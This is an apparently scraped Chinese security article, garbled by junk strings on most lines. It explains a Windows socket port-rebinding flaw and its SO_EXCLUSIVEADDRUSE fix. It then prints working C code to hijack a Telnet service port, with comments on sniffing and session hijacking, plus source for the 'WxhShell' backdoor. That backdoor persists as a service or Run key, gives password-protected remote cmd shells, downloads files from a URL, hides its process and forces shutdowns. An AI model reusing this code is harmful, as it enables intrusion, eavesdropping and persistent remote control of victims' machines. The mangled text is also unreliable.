在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RRGo$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W(
O)J$j
"AH1)skB: saddr.sin_family = AF_INET;
Ja$Ple*XU8 4`(b(DL] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<[7
bUB 83rtQ;L bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2D,EWk/4 UPs7{We W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9
gt$z}oU FT0HU<." 1 这意味着什么?意味着可以进行如下的攻击:
oA_T9uh[ xiv1y4(% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.nXOv] )?@X{AN& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
d9'gH#f? TF_~)f(` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sn.Xvk%75 ~N2<-~=si 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l Je=z Aw]W- fx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^pAgo B K0681_bp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?f9@ &<Gs@UX~w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e!+_U C
4d\1W?i- #include
>5,nB< #include
x RV@_ #include
Wn p\yx` #include
&y164xn'h DWORD WINAPI ClientThread(LPVOID lpParam);
zkFx2(Hq-f int main()
!nPwRK> {
e
MX?x7 WORD wVersionRequested;
W{z7h[?5, DWORD ret;
>P@JiR<@\n WSADATA wsaData;
U_1syaY! BOOL val;
jrOqspv SOCKADDR_IN saddr;
.fZ*N/ SOCKADDR_IN scaddr;
ups]k?4 int err;
Fo$kD( SOCKET s;
d&z^u.SY SOCKET sc;
=Zg%& J int caddsize;
Vh%=JL
sK HANDLE mt;
Sdk:-Zuv DWORD tid;
@wzzI 7}C wVersionRequested = MAKEWORD( 2, 2 );
d nZA+Pa err = WSAStartup( wVersionRequested, &wsaData );
WH@CH4WM if ( err != 0 ) {
v6Vd V.BI printf("error!WSAStartup failed!\n");
3k5C;5 return -1;
-Fl;;jeX }
H)eecH$K saddr.sin_family = AF_INET;
@k"Q e&BQ W,\LdQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aGUKpYF yA74Rxl*6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G;^}, %< saddr.sin_port = htons(23);
9e`.H0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O.ce"5Y^ {
'+@q printf("error!socket failed!\n");
nUgZ]ag=G return -1;
-AJ$-y }
Nb[zm|. val = TRUE;
;w\7p a //SO_REUSEADDR选项就是可以实现端口重绑定的
o$S/EZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V>8)1)dF {
(wMiXi printf("error!setsockopt failed!\n");
^oL43#Nlo return -1;
G`a,(<kT; }
uQ} 0hs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tA*hh"9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V*$(T t( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
qIO<\Yl ?u*gKI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
k|O?qE1hP {
2
/rDi ret=GetLastError();
b1("(,r/` printf("error!bind failed!\n");
C(ay7 return -1;
M[;N6EJH }
-zzM!1@F listen(s,2);
APfDy while(1)
-{ae {
w6B'& caddsize = sizeof(scaddr);
,>: //接受连接请求
=nq9)4o sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&~%(
RO if(sc!=INVALID_SOCKET)
Sxj _gn {
e)(m0m\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
01/? if(mt==NULL)
l> Mth+,b {
500qg({2] printf("Thread Creat Failed!\n");
7]i=eD8 break;
GN7\p) }
yf KJpy }
oAMB}a; CloseHandle(mt);
\z/_vzz4 }
Z[(V0/[] closesocket(s);
@YH<Hc WSACleanup();
;}=4z^^5 return 0;
CdTyUl }
LC!ZeW35 DWORD WINAPI ClientThread(LPVOID lpParam)
#ny&bJj {
Ws+Zmpk% SOCKET ss = (SOCKET)lpParam;
]>K02SVT: SOCKET sc;
v(HCnC unsigned char buf[4096];
;[)t*yAh SOCKADDR_IN saddr;
xnyp'O8yk long num;
@IB+@RmL DWORD val;
7c:5Ey DWORD ret;
Oy @vh>RY //如果是隐藏端口应用的话,可以在此处加一些判断
oic}Go //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.szs? saddr.sin_family = AF_INET;
F$Cf\#{3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ji> saddr.sin_port = htons(23);
xaiA? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tRqg')y {
wbC'SOM printf("error!socket failed!\n");
\"E-z.wW= return -1;
\X'{ e e }
_` %z val = 100;
{kLL&`ii if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l
)hg!( {
G4jaHpPi ret = GetLastError();
;'o:1{Y return -1;
N"i'[!H% }
;K'1dsA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b,?@_*qv+ {
-?8;-h, h ret = GetLastError();
y6[^I'kz return -1;
nDR)UR }
=xs{Ov= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=Vgj=19X( {
DhQYjC[ printf("error!socket connect failed!\n");
u1?1x closesocket(sc);
] M"l-A closesocket(ss);
]}g;q*!J return -1;
Wr \rruH6 }
/<(d.6T[}: while(1)
6J|Ee1Ez {
9d7$Fz# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\78w1Rkl //如果是嗅探内容的话,可以再此处进行内容分析和记录
UMg*Yv% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zc<C %t[~y num = recv(ss,buf,4096,0);
_T\~AwVc< if(num>0)
I_Q*uH.Y 5 send(sc,buf,num,0);
q@;z((45 else if(num==0)
QyJ2P{z break;
y;N[#hY#CD num = recv(sc,buf,4096,0);
*siN#,5 if(num>0)
a0Y/,S*K send(ss,buf,num,0);
#+2|ZfCn% else if(num==0)
,0^:q)_ break;
l\=M'D }
>?b9Xh closesocket(ss);
f
IUz%YFn closesocket(sc);
EJ* return 0 ;
fP41B }
J$)lYSNE t]Ey~-Rx O87Ptr8 ==========================================================
m6P!#=a:l< jgLCs)=5hV 下边附上一个代码,,WXhSHELL
^-3R+U- S y//yLrs; ==========================================================
NX?J 9JHu{r"M #include "stdafx.h"
$]/a/!d 9aw- n*< #include <stdio.h>
l\W[WQPh #include <string.h>
K!q:A+] #include <windows.h>
a7#J af #include <winsock2.h>
eMf+b;~R #include <winsvc.h>
v)(tB7&`= #include <urlmon.h>
]KMOLe6( W&[}-E8<Y #pragma comment (lib, "Ws2_32.lib")
B]K@'# #pragma comment (lib, "urlmon.lib")
h' OLj#H A&i
#define MAX_USER 100 // 最大客户端连接数
>pKu
G# #define BUF_SOCK 200 // sock buffer
f
Q.ea#xh^ #define KEY_BUFF 255 // 输入 buffer
0zg\thL %(`4wo}, #define REBOOT 0 // 重启
> m GO08X #define SHUTDOWN 1 // 关机
y%CaaK=V3 DCfV #define DEF_PORT 5000 // 监听端口
]9?_m@Ihx )1H$5h #define REG_LEN 16 // 注册表键长度
\*#9Ry^f #define SVC_LEN 80 // NT服务名长度
[{F8+a^ }SHF // 从dll定义API
]*+ozAG4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8phcekh+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Xidt\08s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;ti{
#(Ux typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kW&{0xkGR #2c-@), // wxhshell配置信息
': Gk~ struct WSCFG {
Z3=DM=V;v int ws_port; // 监听端口
|y@TI char ws_passstr[REG_LEN]; // 口令
:0Nd4hA int ws_autoins; // 安装标记, 1=yes 0=no
7~[1%` char ws_regname[REG_LEN]; // 注册表键名
jcF/5u5e char ws_svcname[REG_LEN]; // 服务名
T`46\KkN char ws_svcdisp[SVC_LEN]; // 服务显示名
VIL #q char ws_svcdesc[SVC_LEN]; // 服务描述信息
b'fj char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=V:rO;qX+@ int ws_downexe; // 下载执行标记, 1=yes 0=no
(
q^umw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?\:ysTVu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dX0A(6 5EDM?G };
8"+Re
[ : g/H N9 // default Wxhshell configuration
2E/#fX9!4 struct WSCFG wscfg={DEF_PORT,
Ow=` tv$l "xuhuanlingzhe",
A(#hyb# 1,
6Gjr8 "Wxhshell",
+vfk+6 "Wxhshell",
$H ^hK0?' "WxhShell Service",
( B$;'U< "Wrsky Windows CmdShell Service",
<'QHe4 "Please Input Your Password: ",
uj_uj! 1,
;<%~g8:XL "
http://www.wrsky.com/wxhshell.exe",
]>K%,}PS "Wxhshell.exe"
Y;S+2])R2 };
^<xpp.eY "2(4?P // 消息定义模块
yB(^t`)}N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*iS<]y char *msg_ws_prompt="\n\r? for help\n\r#>";
3/o-\wWO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2#5SI char *msg_ws_ext="\n\rExit.";
<pRb#G" char *msg_ws_end="\n\rQuit.";
iNf+ -C3 char *msg_ws_boot="\n\rReboot...";
98bmia&H char *msg_ws_poff="\n\rShutdown...";
z=vfP% char *msg_ws_down="\n\rSave to ";
d}%GHvOi f;#hcRSH char *msg_ws_err="\n\rErr!";
N5[QQtQ char *msg_ws_ok="\n\rOK!";
]1rr$f9 ~P|YAaFx char ExeFile[MAX_PATH];
5>4<_-Tm int nUser = 0;
h9LA&! HANDLE handles[MAX_USER];
|eWlB\ x8 int OsIsNt;
<oTIzj7f ZeF PwW SERVICE_STATUS serviceStatus;
v"6q! SERVICE_STATUS_HANDLE hServiceStatusHandle;
u\-xlp?"o RvvK`}/6 // 函数声明
f$9V_j-K+ int Install(void);
i3s-l8\\z int Uninstall(void);
Rer\=' int DownloadFile(char *sURL, SOCKET wsh);
HE.
` int Boot(int flag);
%O>ehIerD void HideProc(void);
|i7|QLUT int GetOsVer(void);
"n:z("Q* int Wxhshell(SOCKET wsl);
xl@l< void TalkWithClient(void *cs);
QRhR.:M\ int CmdShell(SOCKET sock);
wz31e!/ int StartFromService(void);
j%Y`2Ra int StartWxhshell(LPSTR lpCmdLine);
([iMOE[D3 I0sd%'Ht? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0RN]_z$;H VOID WINAPI NTServiceHandler( DWORD fdwControl );
_/MHi-]/. Y~hBVz2g // 数据结构和表定义
])egke\! SERVICE_TABLE_ENTRY DispatchTable[] =
D`,W1Z# {
y[oc^Zuo {wscfg.ws_svcname, NTServiceMain},
".onev^( {NULL, NULL}
+rfw)c' };
|7 ]v&?y _5EM <Ux // 自我安装
:o?On/ int Install(void)
(eS4$$g {
.&=nP?ZPC6 char svExeFile[MAX_PATH];
nAG2!2_8 HKEY key;
5ycccMx0V strcpy(svExeFile,ExeFile);
XzgJ@ A?<R9A // 如果是win9x系统,修改注册表设为自启动
9'faH if(!OsIsNt) {
lt`(R*B% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(4o_\& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Vb az#I RegCloseKey(key);
vmm#UjwF3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n|sP0,$N1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<SGO+1ztp RegCloseKey(key);
NK;%c-r0v7 return 0;
_TY9!:&}q }
!f[LFQD }
G?)NDRM }
$!%/Kk4M else {
q@8Jc[\d C?m2R(RF // 如果是NT以上系统,安装为系统服务
uMKO^D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L|pMq!@J if (schSCManager!=0)
#pO=\lJ, {
kN_
i0~y@- SC_HANDLE schService = CreateService
i#]}k (
b5lZ| |W. schSCManager,
2%P{fJbwd wscfg.ws_svcname,
BC*62m wscfg.ws_svcdisp,
no_;^Ou? SERVICE_ALL_ACCESS,
@a2n{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
BBuI|lr SERVICE_AUTO_START,
Tq{+9+ SERVICE_ERROR_NORMAL,
'[(]62j svExeFile,
/iURP-rl NULL,
;]c@%LX NULL,
S"hA@j NULL,
VZuluV NULL,
Cge@A'2 NULL
/2z, ?,jL );
~+DPq|-O if (schService!=0)
Y\s ge {
r+v?~m! CloseServiceHandle(schService);
A1>fNilC9 CloseServiceHandle(schSCManager);
lRA=IRQ] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>^Rkk{cc strcat(svExeFile,wscfg.ws_svcname);
3Ye{a<ckK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
($QQuM= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$[f-{B{>* RegCloseKey(key);
H!SFSgAu return 0;
suKr//_ }
,X`w/ 2O }
M02U,!di CloseServiceHandle(schSCManager);
B^;"<2b* }
P{m(.EC_ }
L(RI4d j!c~%hP return 1;
+H{TV#+r }
XXDLbT'J [?>\] // 自我卸载
r>ziQq8C& int Uninstall(void)
bW-sTGjRD {
IL>VH`D HKEY key;
sP:nTpTsC OsT|MX if(!OsIsNt) {
X 0vcBHh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`!( IQ& RegDeleteValue(key,wscfg.ws_regname);
gpw,bV RegCloseKey(key);
9%Eo<+myh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m?O~(6k@C RegDeleteValue(key,wscfg.ws_regname);
jK-b#h.gL RegCloseKey(key);
[s{ B vn
return 0;
V O\g"Yc }
d/Sw.=vq }
zm!M'|~@7 }
FG!2h&k else {
!8e;3W vnN0o5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fc&djd`FuX if (schSCManager!=0)
B#DnU;=O#+ {
~^TH5n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6H1;Hl
f if (schService!=0)
{E[t(Ig {
\Up~"q>Kb if(DeleteService(schService)!=0) {
$b~[>S-Q CloseServiceHandle(schService);
9.%t9RM^ CloseServiceHandle(schSCManager);
^H0#2hFa return 0;
ZkJLq[:cM }
I&U.5wf CloseServiceHandle(schService);
1xEFMHjy }
u69UUkG CloseServiceHandle(schSCManager);
_\.4ofK( }
P;`Awp? }
ODEFs?%' 43 vF(<r&f return 1;
_N {4Rs0 }
7YxVtN : *XAQb0 // 从指定url下载文件
d#OAM;0}5 int DownloadFile(char *sURL, SOCKET wsh)
-=cm7/X {
b"aF-,M> HRESULT hr;
jOU99X\0 char seps[]= "/";
:R`e<g~4 char *token;
DcNp-X40I char *file;
0l3[?YtXc char myURL[MAX_PATH];
le'
Kp
V
char myFILE[MAX_PATH];
1eywnOjrj Y7zs)W8xTT strcpy(myURL,sURL);
Q*Y-@lZ token=strtok(myURL,seps);
'ieTt_1.G while(token!=NULL)
ufe|I {
2-DG6\QX| file=token;
qyxd9Lk1 token=strtok(NULL,seps);
DS;\24>H }
`KtP;nG i\_LLXc GetCurrentDirectory(MAX_PATH,myFILE);
!u'xdV+bf strcat(myFILE, "\\");
+HPcvu?1 strcat(myFILE, file);
q 'd] send(wsh,myFILE,strlen(myFILE),0);
}K={HW1> send(wsh,"...",3,0);
s1E 0atT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Yn[>Y) if(hr==S_OK)
/* qx5$~ return 0;
X0iy else
=tbfBK+ return 1;
O\ _ro. R:+'"dBge }
8h0C G] 8R%<~fq r // 系统电源模块
#6vf:94 int Boot(int flag)
;:_AOb31N {
f=k#o2 HANDLE hToken;
tT!'qL.* TOKEN_PRIVILEGES tkp;
(c)=Do= AmHj\NX$ if(OsIsNt) {
V'e%%&g~N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jC_'6sc` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P))BS tkp.PrivilegeCount = 1;
U#cGd\b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6`7tTn?n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u178vby;l if(flag==REBOOT) {
\c<;!vkZ04 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p@kRo#~l return 0;
1Xo0(*O }
nhdZC@~E0 else {
L /:^;j`c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R;!@
xy return 0;
0uIY6e0E }
{ibu0 }
z?<B@\~ else {
F$DA/ {.D if(flag==REBOOT) {
QK?V^E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Nd]F 33|X return 0;
4P[MkMoC }
@]%eL else {
gy%.+!4>v` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OA*O = return 0;
&n;*'M
}
,\J 8(,%L }
2=- .@,6 ru@#s2 return 1;
3!b
$R?kZ }
w.w{L=p:<" CyR`&u // win9x进程隐藏模块
;O%
H]oN void HideProc(void)
aaig1#a@1b {
)][U6 e g5@JA^\vZT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f]8MdYX( if ( hKernel != NULL )
Tk?uJIS : {
r@3-vLI!u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h40;Q<D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
T4]2R FreeLibrary(hKernel);
k}v`UiGM }
EjLq&QR. w2.]
3QAZ return;
>t3_]n1e }
u:f ]|Q ).;{'8Q // 获取操作系统版本
x|a&wC2,{ int GetOsVer(void)
!CUl1L1DSi {
4W"A*A OSVERSIONINFO winfo;
uC;_?Bve winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2.aCo, Kb; GetVersionEx(&winfo);
&^"Ru?MK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zuLW'a6F- return 1;
(U.Go/A#wE else
^$: w return 0;
D{N8q^Cs9 }
d$3rcH1 _=~u\ $ // 客户端句柄模块
rJ Jx8)M int Wxhshell(SOCKET wsl)
k`m7j[A]l {
p-}X=O$ SOCKET wsh;
L*Z.T^h struct sockaddr_in client;
eLSzGbKf DWORD myID;
_/LGGt4&% .2fvRN92 while(nUser<MAX_USER)
G1z*e.+y {
wtek5C^ int nSize=sizeof(client);
VO:4wC"7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
b]]8Vs)' if(wsh==INVALID_SOCKET) return 1;
U*[E+Uq}:N 9~Dg<wQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!"F;wg$ if(handles[nUser]==0)
BX?DI-o^h closesocket(wsh);
#-;c!<2 else
7.h{"xOx{ nUser++;
rRq60A }
~</FF'Xz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qi4P(s-i '3b\d:hN return 0;
bp?5GU&Uy }
P4[kW}R |'?vlUCd // 关闭 socket
>B{NxL3-> void CloseIt(SOCKET wsh)
}YDi/b7 {
X+;[Gc}(W closesocket(wsh);
iqDyE*a nUser--;
W"Ip]LJ ExitThread(0);
|qw0:c=7! }
*2zp>(% sC-o'13 // 客户端请求句柄
dVb6u void TalkWithClient(void *cs)
}emUpju<C {
z By%=)` 0zr27ko SOCKET wsh=(SOCKET)cs;
aRMlE*yW char pwd[SVC_LEN];
Ooz,?wU6 char cmd[KEY_BUFF];
q|D5
A|) char chr[1];
DU!T#H7 int i,j;
aN0[6+KP; dOeM0_o while (nUser < MAX_USER) {
yLC[-.H Z Ts*Y, if(wscfg.ws_passstr) {
juHL$SGC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T)mQ+&| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_KH91$iW8m //ZeroMemory(pwd,KEY_BUFF);
O*:87:I d i=0;
B(W~]i while(i<SVC_LEN) {
U<j5s\Y, 81Kf X {| // 设置超时
uuY^Q;^I* fd_set FdRead;
N
)Z>]&5 struct timeval TimeOut;
s%D%c;.| FD_ZERO(&FdRead);
k$kE5kh,S FD_SET(wsh,&FdRead);
Ypyi(_G(?> TimeOut.tv_sec=8;
mo| D TimeOut.tv_usec=0;
(K[{X0T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J>_mDcPo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0nwi5 rbd0`J9fq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#`SAc`:n pwd
=chr[0]; [\ao#f0WR
if(chr[0]==0xd || chr[0]==0xa) { S\:^#Yi`
pwd=0; B[uyr)$
break; |
1B0
} WESD^FK
i++; [7@blU
} *Dp&;, b
8&@=Anc&q
// 如果是非法用户,关闭 socket zVE" 6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3WwS+6R
} E^-c,4'F
P#A,(Bke3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s$#64"F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d4b!
r
0!\gK<,z
while(1) { H(^Ehv>
vU>^
ZeroMemory(cmd,KEY_BUFF); Z 8w\[AF{$
p\[!=ZXFr\
// 自动支持客户端 telnet标准 ]t0o%w
j=0; gT8(LDJ
while(j<KEY_BUFF) { =zn'0g,J4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s\d3u`G
cmd[j]=chr[0]; I=L["]
if(chr[0]==0xa || chr[0]==0xd) { 08ZvRy(Je<
cmd[j]=0; .F ?ww}2p]
break; qJ;~ANwt
} I"x'
j++; ?i<l7
} XoyxS:=>|[
I[%IW4jJ
// 下载文件 'fn}I0Vc
if(strstr(cmd,"http://")) { 7#)k-S!B
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (%R%UkwP9
if(DownloadFile(cmd,wsh)) R6<'J?k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0eO!,/
else j"jssbu}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `*U@d%a
} ^6Aa^|
else { gxhp7c182
2[B bdg[O
switch(cmd[0]) { /[6wm1?!
Ls2OnL9
// 帮助 7}xQ4M\u$
case '?': { Z*Ffdh>*:&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0-p^ oA
break; ?Z|y-4 &>
} Dml?.-Uv<
// 安装 `
,T.
case 'i': { n*GB`I*g
if(Install()) NL.3qx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K14.!m
else rE*yT(:w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %#%YU|4R
break; uhq6dhhR
} YEV;GFI1
// 卸载 J|xXo
case 'r': { N_D=j6B
if(Uninstall()) ;R
>>,&g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYU0zGpj
else pYCMJK-H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T72Li"00
break; |%4nU#GoB
} ?o V.SG'
// 显示 wxhshell 所在路径 []\-*{^r
case 'p': { q|YnNk>1
char svExeFile[MAX_PATH]; f$ /C.E
strcpy(svExeFile,"\n\r"); v2|zIZ
strcat(svExeFile,ExeFile); UHY)+6qt]
send(wsh,svExeFile,strlen(svExeFile),0); VIWH~UR)&!
break; Z+R-}<
} 1
=?pL$+G
// 重启 !@gjIYq_Y
case 'b': {
H|s Iw:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0lt1/PEKx2
if(Boot(REBOOT)) O0^Y1l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<jr0)
else { 3 }
$9./+
closesocket(wsh); 3Mh_&%!O
ExitThread(0); @bkSA
} {w>ofyqfp&
break; Uwiy@T Z
} bAY>o
// 关机 <c`,fd8
case 'd': { #SLiv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q+YK NXI
if(Boot(SHUTDOWN)) /\jRr7 Cd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wj$3L3
else { vO{[P#L}
closesocket(wsh); gO~>*q &
ExitThread(0); n-9X<t|*?a
} Ft2ZZ<As
break; 1
xr mmK
} USf;}F:-C
// 获取shell S r7EcT-
case 's': { %'F[(VB
CmdShell(wsh); K!jau|FS
closesocket(wsh); p'SY 2xq-,
ExitThread(0); D>#Jh>4
break; Th])jQ*
} LrfyH"#!:
// 退出 z81`Lhg6
case 'x': { AQBr{^inH|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vP<8,XG
CloseIt(wsh); .Wyx#9
break; `Oi6o[a
} C"}]PW
// 离开 D/zp_9B
case 'q': { bU(fH^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); p)Q='
closesocket(wsh); ! F&{I
WSACleanup(); ?6^KY+ 5`C
exit(1); iGeuO[^
break; !
+Hc(i
} _{gRCR)
} $VE =sS.
} .7zdA IKW
m>?{flO
// 提示信息 |
\JB/x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yyh X%S %
} (OK;*ZH+T@
} 2:S
4M.j
4THGHS^
return; FZtIC77X5
} 3m`y?Dd
yX8$LOjE
// shell模块句柄 A0Hs d
int CmdShell(SOCKET sock) of:xj$dQ_
{ ZgI1Byf
STARTUPINFO si; ugt|'i
ZeroMemory(&si,sizeof(si)); wN! 5[N"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -z4pI=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]q@6&]9
PROCESS_INFORMATION ProcessInfo; y|%rW
char cmdline[]="cmd"; '`Z5.<n7p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] Vbv64M3
return 0; h=~TgTv
} `H6kC$^Ofx
$McVK>=
// 自身启动模式 &De&ZypU
int StartFromService(void) +K%4jIm
{ Ol'Ct'_k,"
typedef struct H?>R#Ds-
{ v9OK
<
DWORD ExitStatus; !8U\GR `
DWORD PebBaseAddress; q~=]_PMP
DWORD AffinityMask; #}W^d^-5t5
DWORD BasePriority; Iw$7f kq
ULONG UniqueProcessId; y
ZsC>
